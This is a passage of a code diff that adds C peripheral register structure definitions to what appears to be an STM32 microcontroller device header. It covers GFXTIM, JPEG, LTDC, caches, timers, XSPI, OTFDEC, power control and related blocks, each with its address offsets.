0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx Configuration lock register 1, Address offset: 0x10 */ + __IO uint32_t CFGLOCKR2; /*!< MPCBBx Configuration lock register 2, Address offset: 0x14 */ + uint32_t RESERVED2[58]; /*!< Reserved2, Address offset: 0x18-0xFC */ + __IO uint32_t SECCFGR[52]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x1CC */ + uint32_t RESERVED3[12]; /*!< Reserved3, Address offset: 0x1D0-0x1FC */ + __IO uint32_t PRIVCFGR[52]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x2CC */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} GTZC_TZIC_TypeDef; + +/** + * @brief GFXTIM + */ +typedef struct +{ + __IO uint32_t CR; /*!< GFXTIM configuration register, Address offset: 0x00 */ + __IO uint32_t CGCR; /*!< GFXTIM clock generator configuration register, Address offset: 0x04 */ + __IO uint32_t TCR; /*!< GFXTIM timers configuration register, Address offset: 0x08 */ + __IO uint32_t TDR; /*!< GFXTIM timers disable register, Address offset: 0x0C */ + __IO uint32_t EVCR; /*!< GFXTIM events control register, Address offset: 0x10 */ + __IO uint32_t EVSR; /*!< GFXTIM events selection register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WDGTCR; /*!< GFXTIM watchdog timer configuration register, Address offset: 0x20 */ + uint32_t RESERVED2[3]; /*!< Reserved, Address offset: 0x24-0x2C */ + __IO uint32_t ISR; /*!< GFXTIM interrupt status register, Address offset: 0x30 */ + __IO uint32_t ICR; /*!< GFXTIM interrupt clear register, Address offset: 0x34 */ + __IO uint32_t IER; /*!< GFXTIM interrupt enable register, Address offset: 0x38 */ + __IO uint32_t TSR; /*!< GFXTIM timers status register, Address offset: 0x3C */ + __IO uint32_t LCCRR; /*!< GFXTIM line clock counter reload register, Address offset: 0x40 */ + __IO uint32_t FCCRR; /*!< GFXTIM frame clock counter reload register, Address offset: 0x44 */ + uint32_t RESERVED3[2]; /*!< Reserved, Address offset: 0x48-0x4C */ + __IO uint32_t ATR; /*!< GFXTIM absolute time register, Address offset: 0x50 */ + __IO uint32_t AFCR; /*!< GFXTIM absolute frame counter register, Address offset: 0x54 */ + __IO uint32_t ALCR; /*!< GFXTIM absolute line counter register, Address offset: 0x58 */ + uint32_t RESERVED4[1]; /*!< Reserved, Address offset: 0x5C */ + __IO uint32_t AFCC1R; /*!< GFXTIM absolute frame counter compare 1 register, Address offset: 0x60 */ + uint32_t RESERVED5[3]; /*!< Reserved, Address offset: 0x64-0X6C */ + __IO uint32_t ALCC1R; /*!< GFXTIM absolute line counter compare 1 register, Address offset: 0x70 */ + __IO uint32_t ALCC2R; /*!< GFXTIM absolute line counter compare 2 register, Address offset: 0x74 */ + uint32_t RESERVED6[2]; /*!< Reserved, Address offset: 0x78-0X7C */ + __IO uint32_t RFC1R; /*!< GFXTIM relative frame counter 1 register, Address offset: 0x80 */ + __IO uint32_t RFC1RR; /*!< GFXTIM relative frame counter 1 reload register, Address offset: 0x84 */ + __IO uint32_t RFC2R; /*!< GFXTIM relative frame counter 2 register, Address offset: 0x88 */ + __IO uint32_t RFC2RR; /*!< GFXTIM relative frame counter 2 reload register, Address offset: 0x8C */ + uint32_t RESERVED7[4]; /*!< Reserved, Address offset: 0x90-0X9C */ + __IO uint32_t WDGCR; /*!< GFXTIM watchdog counter register, Address offset: 0xA0 */ + __IO uint32_t WDGRR; /*!< GFXTIM watchdog reload register, Address offset: 0xA4 */ + __IO uint32_t WDGPAR; /*!< GFXTIM watchdog pre-alarm register, Address offset: 0xA8 */ + uint32_t RESERVED8[209]; /*!< Reserved, Address offset: 0xAC-0X3EC */ + __IO uint32_t HWCFGR; /*!< GFXTIM HW configuration register, Address offset: 0x3F0 */ + __IO uint32_t VERR; /*!< GFXTIM version register, Address offset: 0x3F4 */ + __IO uint32_t IPIDR; /*!< GFXTIM identification register, Address offset: 0x3F8 */ + __IO uint32_t SIDR; /*!< GFXTIM size identification register, Address offset: 0x3FC */ +} GFXTIM_TypeDef; + +/** + * @brief JPEG Codec + */ +typedef struct +{ + __IO uint32_t CONFR0; /*!< JPEG Codec Control Register (JPEG_CONFR0), Address offset: 00h */ + __IO uint32_t CONFR1; /*!< JPEG Codec Control Register (JPEG_CONFR1), Address offset: 04h */ + __IO uint32_t CONFR2; /*!< JPEG Codec Control Register (JPEG_CONFR2), Address offset: 08h */ + __IO uint32_t CONFR3; /*!< JPEG Codec Control Register (JPEG_CONFR3), Address offset: 0Ch */ + __IO uint32_t CONFR4; /*!< JPEG Codec Control Register (JPEG_CONFR4), Address offset: 10h */ + __IO uint32_t CONFR5; /*!< JPEG Codec Control Register (JPEG_CONFR5), Address offset: 14h */ + __IO uint32_t CONFR6; /*!< JPEG Codec Control Register (JPEG_CONFR6), Address offset: 18h */ + __IO uint32_t CONFR7; /*!< JPEG Codec Control Register (JPEG_CONFR7), Address offset: 1Ch */ + uint32_t Reserved20[4]; /* Reserved Address offset: 20h-2Ch */ + __IO uint32_t CR; /*!< JPEG Control Register (JPEG_CR), Address offset: 30h */ + __IO uint32_t SR; /*!< JPEG Status Register (JPEG_SR), Address offset: 34h */ + __IO uint32_t CFR; /*!< JPEG Clear Flag Register (JPEG_CFR), Address offset: 38h */ + uint32_t Reserved3c; /* Reserved Address offset: 3Ch */ + __IO uint32_t DIR; /*!< JPEG Data Input Register (JPEG_DIR), Address offset: 40h */ + __IO uint32_t DOR; /*!< JPEG Data Output Register (JPEG_DOR), Address offset: 44h */ + uint32_t Reserved48[2]; /* Reserved Address offset: 48h-4Ch */ + __IO uint32_t QMEM0[16]; /*!< JPEG quantization tables 0, Address offset: 50h-8Ch */ + __IO uint32_t QMEM1[16]; /*!< JPEG quantization tables 1, Address offset: 90h-CCh */ + __IO uint32_t QMEM2[16]; /*!< JPEG quantization tables 2, Address offset: D0h-10Ch */ + __IO uint32_t QMEM3[16]; /*!< JPEG quantization tables 3, Address offset: 110h-14Ch */ + __IO uint32_t HUFFMIN[16]; /*!< JPEG HuffMin tables, Address offset: 150h-18Ch */ + __IO uint32_t HUFFBASE[32]; /*!< JPEG HuffSymb tables, Address offset: 190h-20Ch */ + __IO uint32_t HUFFSYMB[84]; /*!< JPEG HUFFSYMB tables, Address offset: 210h-35Ch */ + __IO uint32_t DHTMEM[103]; /*!< JPEG DHTMem tables, Address offset: 360h-4F8h */ + uint32_t Reserved4FC; /* Reserved Address offset: 4FCh */ + __IO uint32_t HUFFENC_AC0[88]; /*!< JPEG encodor, AC Huffman table 0, Address offset: 500h-65Ch */ + __IO uint32_t HUFFENC_AC1[88]; /*!< JPEG encodor, AC Huffman table 1, Address offset: 660h-7BCh */ + __IO uint32_t HUFFENC_DC0[8]; /*!< JPEG encodor, DC Huffman table 0, Address offset: 7C0h-7DCh */ + __IO uint32_t HUFFENC_DC1[8]; /*!< JPEG encodor, DC Huffman table 1, Address offset: 7E0h-7FCh */ + +} JPEG_TypeDef; + +/** + * @brief LCD-TFT Display Controller + */ +typedef struct +{ + uint32_t RESERVED0[2]; /*!< Reserved, 0x00-0x04 */ + __IO uint32_t SSCR; /*!< LTDC Synchronization Size Configuration Register, Address offset: 0x08 */ + __IO uint32_t BPCR; /*!< LTDC Back Porch Configuration Register, Address offset: 0x0C */ + __IO uint32_t AWCR; /*!< LTDC Active Width Configuration Register, Address offset: 0x10 */ + __IO uint32_t TWCR; /*!< LTDC Total Width Configuration Register, Address offset: 0x14 */ + __IO uint32_t GCR; /*!< LTDC Global Control Register, Address offset: 0x18 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x1C-0x20 */ + __IO uint32_t SRCR; /*!< LTDC Shadow Reload Configuration Register, Address offset: 0x24 */ + uint32_t RESERVED2[1]; /*!< Reserved, 0x28 */ + __IO uint32_t BCCR; /*!< LTDC Background Color Configuration Register, Address offset: 0x2C */ + uint32_t RESERVED3[1]; /*!< Reserved, 0x30 */ + __IO uint32_t IER; /*!< LTDC Interrupt Enable Register, Address offset: 0x34 */ + __IO uint32_t ISR; /*!< LTDC Interrupt Status Register, Address offset: 0x38 */ + __IO uint32_t ICR; /*!< LTDC Interrupt Clear Register, Address offset: 0x3C */ + __IO uint32_t LIPCR; /*!< LTDC Line Interrupt Position Configuration Register, Address offset: 0x40 */ + __IO uint32_t CPSR; /*!< LTDC Current Position Status Register, Address offset: 0x44 */ + __IO uint32_t CDSR; /*!< LTDC Current Display Status Register, Address offset: 0x48 */ +} LTDC_TypeDef; + +/** + * @brief LCD-TFT Display layer x Controller + */ + +typedef struct +{ + __IO uint32_t CR; /*!< LTDC Layerx Control Register Address offset: 0x84 */ + __IO uint32_t WHPCR; /*!< LTDC Layerx Window Horizontal Position Configuration Register Address offset: 0x88 */ + __IO uint32_t WVPCR; /*!< LTDC Layerx Window Vertical Position Configuration Register Address offset: 0x8C */ + __IO uint32_t CKCR; /*!< LTDC Layerx Color Keying Configuration Register Address offset: 0x90 */ + __IO uint32_t PFCR; /*!< LTDC Layerx Pixel Format Configuration Register Address offset: 0x94 */ + __IO uint32_t CACR; /*!< LTDC Layerx Constant Alpha Configuration Register Address offset: 0x98 */ + __IO uint32_t DCCR; /*!< LTDC Layerx Default Color Configuration Register Address offset: 0x9C */ + __IO uint32_t BFCR; /*!< LTDC Layerx Blending Factors Configuration Register Address offset: 0xA0 */ + uint32_t RESERVED0[2]; /*!< Reserved */ + __IO uint32_t CFBAR; /*!< LTDC Layerx Color Frame Buffer Address Register Address offset: 0xAC */ + __IO uint32_t CFBLR; /*!< LTDC Layerx Color Frame Buffer Length Register Address offset: 0xB0 */ + __IO uint32_t CFBLNR; /*!< LTDC Layerx ColorFrame Buffer Line Number Register Address offset: 0xB4 */ + uint32_t RESERVED1[3]; /*!< Reserved */ + __IO uint32_t CLUTWR; /*!< LTDC Layerx CLUT Write Register Address offset: 0x144 */ + +} LTDC_Layer_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief Comparator + */ +typedef struct +{ + __IO uint32_t CSR; /*!< Comparator control and status register, Address offset: 0x00 */ +} COMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR_ODD; /*!< COMP control and status register located in register of comparator instance odd, used for bits common to several COMP instances, Address offset: 0x00 */ + __IO uint32_t CSR_EVEN; /*!< COMP control and status register located in register of comparator instance even, used for bits common to several COMP instances, Address offset: 0x04 */ +} COMP_Common_TypeDef; + +/** + * @brief Operational Amplifier (OPAMP) + */ +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, Address offset: 0x00 */ + __IO uint32_t OTR; /*!< OPAMP offset trimming register for normal mode, Address offset: 0x04 */ + __IO uint32_t LPOTR; /*!< OPAMP offset trimming register for low power mode, Address offset: 0x08 */ +} OPAMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, used for bits common to + several OPAMP instances, Address offset: 0x00 */ +} OPAMP_Common_TypeDef; + + +/** + * @brief MDF/ADF + */ +typedef struct +{ + __IO uint32_t GCR; /*!< MDF Global Control register, Address offset: 0x00 */ + __IO uint32_t CKGCR; /*!< MDF Clock Generator Control Register, Address offset: 0x04 */ + uint32_t RESERVED1[6]; /*!< Reserved, 0x08-0x1C */ + __IO uint32_t OR; /*!< MDF Option Register, Address offset: 0x20 */ +}MDF_TypeDef; + +/** + * @brief MDF/ADF filter + */ +typedef struct +{ + __IO uint32_t SITFCR; /*!< MDF Serial Interface Control Register, Address offset: 0x80 */ + __IO uint32_t BSMXCR; /*!< MDF Bitstream Matrix Control Register, Address offset: 0x84 */ + __IO uint32_t DFLTCR; /*!< MDF Digital Filter Control Register, Address offset: 0x88 */ + __IO uint32_t DFLTCICR; /*!< MDF MCIC Configuration Register, Address offset: 0x8C */ + __IO uint32_t DFLTRSFR; /*!< MDF Reshape Filter Configuration Register, Address offset: 0x90 */ + __IO uint32_t DFLTINTR; /*!< MDF Integrator Configuration Register, Address offset: 0x94 */ + __IO uint32_t OLDCR; /*!< MDF Out-Of Limit Detector Control Register, Address offset: 0x98 */ + __IO uint32_t OLDTHLR; /*!< MDF OLD Threshold Low Register, Address offset: 0x9C */ + __IO uint32_t OLDTHHR; /*!< MDF OLD Threshold High Register, Address offset: 0xA0 */ + __IO uint32_t DLYCR; /*!< MDF Delay control Register, Address offset: 0xA4 */ + __IO uint32_t SCDCR; /*!< MDF short circuit detector control Register, Address offset: 0xA8 */ + __IO uint32_t DFLTIER; /*!< MDF DFLT Interrupt enable Register, Address offset: 0xAC */ + __IO uint32_t DFLTISR; /*!< MDF DFLT Interrupt status Register, Address offset: 0xB0 */ + __IO uint32_t OECCR; /*!< MDF Offset Error Compensation Control Register, Address offset: 0xB4 */ + __IO uint32_t SADCR; /*!< MDF SAD Control Register, Address offset: 0xB8 */ + __IO uint32_t SADCFGR; /*!< MDF SAD configuration register, Address offset: 0xBC */ + __IO uint32_t SADSDLVR; /*!< MDF SAD Sound level Register, Address offset: 0xC0 */ + __IO uint32_t SADANLVR; /*!< MDF SAD Ambient Noise level Register, Address offset: 0xC4 */ + uint32_t RESERVED1[9]; /*!< Reserved, 0xC8-0xE8 */ + __IO uint32_t SNPSDR; /*!< MDF Snapshot Data Register, Address offset: 0xEC */ + __IO uint32_t DFLTDR; /*!< MDF Digital Filter Data Register, Address offset: 0xF0 */ +} MDF_Filter_TypeDef; + +/** + * @brief HEXA and OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< XSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< XSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< XSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< XSPI Device Configuration register 3, Address offset: 0x010 */ + __IO uint32_t DCR4; /*!< XSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< XSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< XSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< XSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< XSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< XSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< XSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< XSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< XSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< XSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< XSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO uint32_t IR; /*!< XSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 0x114-0x11C */ + __IO uint32_t ABR; /*!< XSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< XSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< XSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< XSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< XSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< XSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< XSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< XSPI Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< XSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< XSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< XSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ + uint32_t RESERVED22[3]; /*!< Reserved, Address offset: 0x204-0x20C */ + __IO uint32_t CALFCR; /*!< XSPI Full-cycle calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x210 */ + uint32_t RESERVED23; /*!< Reserved, Address offset: 0x214 */ + __IO uint32_t CALMR; /*!< XSPI DLL master calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x218 */ + uint32_t RESERVED24; /*!< Reserved, Address offset: 0x21C */ + __IO uint32_t CALSOR; /*!< XSPI slave output calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x220 */ + uint32_t RESERVED25; /*!< Reserved, Address offset: 0x224 */ + __IO uint32_t CALSIR; /*!< XSPI slave input calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x228 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; + +typedef XSPI_TypeDef HSPI_TypeDef; + +/** + * @brief OTFDEC register + */ +typedef struct +{ + __IO uint32_t REG_CONFIGR; /*!< OTFDEC Region Configuration register, Address offset: 0x20 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_START_ADDR; /*!< OTFDEC Region Start Address register, Address offset: 0x24 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_END_ADDR; /*!< OTFDEC Region End Address register, Address offset: 0x28 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_NONCER0; /*!< OTFDEC Region Nonce register 0, Address offset: 0x2C + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_NONCER1; /*!< OTFDEC Region Nonce register 1, Address offset: 0x30 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR0; /*!< OTFDEC Region Key register 0, Address offset: 0x34 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR1; /*!< OTFDEC Region Key register 1, Address offset: 0x38 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR2; /*!< OTFDEC Region Key register 2, Address offset: 0x3C + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR3; /*!< OTFDEC Region Key register 3, Address offset: 0x40 + 0x30 * (x -1) (x = 1 to 4) */ +} OTFDEC_Region_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< OTFDEC Control register, Address offset: 0x000 */ + uint32_t RESERVED1[3]; /*!< Reserved, Address offset: 0x004-0x00C */ + __IO uint32_t PRIVCFGR; /*!< OTFDEC Privileged access control Configuration register, Address offset: 0x010 */ + uint32_t RESERVED2[187]; /*!< Reserved, Address offset: 0x014-0x2FC */ + __IO uint32_t ISR; /*!< OTFDEC Interrupt Status register, Address offset: 0x300 */ + __IO uint32_t ICR; /*!< OTFDEC Interrupt Clear register, Address offset: 0x304 */ + __IO uint32_t IER; /*!< OTFDEC Interrupt Enable register, Address offset: 0x308 */ +} OTFDEC_TypeDef; + + +/** + * @brief Serial Peripheral Interface IO Manager + */ +typedef struct +{ + __IO uint32_t CR; /*!< OCTOSPIM IO Manager Control register, Address offset: 0x00 */ + __IO uint32_t PCR[8]; /*!< OCTOSPIM IO Manager Port[1:8] Configuration register, Address offset: 0x04-0x20 */ +} XSPIM_TypeDef; + +typedef XSPIM_TypeDef OCTOSPIM_TypeDef; + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t CR1; /*!< Power control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< Power control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< Power control register 3, Address offset: 0x08 */ + __IO uint32_t VOSR; /*!< Power voltage scaling register, Address offset: 0x0C */ + __IO uint32_t SVMCR; /*!< Power supply voltage monitoring control register, Address offset: 0x10 */ + __IO uint32_t WUCR1; /*!< Power wakeup control register 1, Address offset: 0x14 */ + __IO uint32_t WUCR2; /*!< Power wakeup control register 2, Address offset: 0x18 */ + __IO uint32_t WUCR3; /*!< Power wakeup control register 3, Address offset: 0x1C */ + __IO uint32_t BDCR1; /*!< Power backup domain control register 1, Address offset: 0x20 */ + __IO uint32_t BDCR2; /*!< Power backup domain control register 2, Address offset: 0x24 */ + __IO uint32_t DBPR; /*!< Power disable backup domain register, Address offset: 0x28 */ + __IO uint32_t UCPDR; /*!< Power USB Type-C and Power Delivery register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< Power Security configuration register, Address offset: 0x30 */ + __IO uint32_t PRIVCFGR; /*!< Power privilege control register, Address offset: 0x34 */ + __IO uint32_t SR; /*!< Power status register, Address offset: 0x38 */ + __IO uint32_t SVMSR; /*!< Power supply voltage monitoring status register, Address offset: 0x3C */ + __IO uint32_t BDSR; /*!< Power backup domain status register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< Power wakeup status register, Address offset: 0x44 */ + __IO uint32_t WUSCR; /*!< Power wakeup status clear register, Address offset: 0x48 */ + __IO uint32_t 